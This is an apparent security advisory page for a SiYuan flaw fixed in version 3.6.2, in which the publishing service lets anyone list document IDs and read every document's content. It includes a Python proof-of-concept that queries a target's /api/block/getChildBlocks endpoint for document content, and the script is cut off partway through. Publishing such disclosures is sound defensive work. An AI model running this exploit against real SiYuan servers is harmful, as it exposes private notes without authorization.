EUVD-2026-277918

fkie_cve-2026-33669

SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.

GHSA-34xj-66v3-6j83 — SiYuan has Arbitrary Document Reading within the Publishing Service

Affected: Go: github.com/siyuan-note/siyuan/kernel

### Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

### PoC

```python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys

def get_child_blocks(target_url, doc_id): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{target_url.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": doc_id } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raise_for_status() result = response.json() if result.get("code") != 0: print(f"[-] 请求失败: {result.get('msg', '未知错误')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] 网络请求失败: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失败: {e}") return None

def format_block_content(block): """格式化块内容""" content = "" # 获取块内容 if isinstance(block, dict): # 尝试多种可能的字段 md = block.get("markdown", "") or block.get("content", "") or "" if md: content = md.strip() return content

def main(): """主函数""" if len(sys.argv) > 1: target_url…

Most recent entries from all

EUVD-2026-277918

fkie_cve-2026-33669

GHSA-34xj-66v3-6j83 — SiYuan has Arbitrary Document Reading within the Publishing Service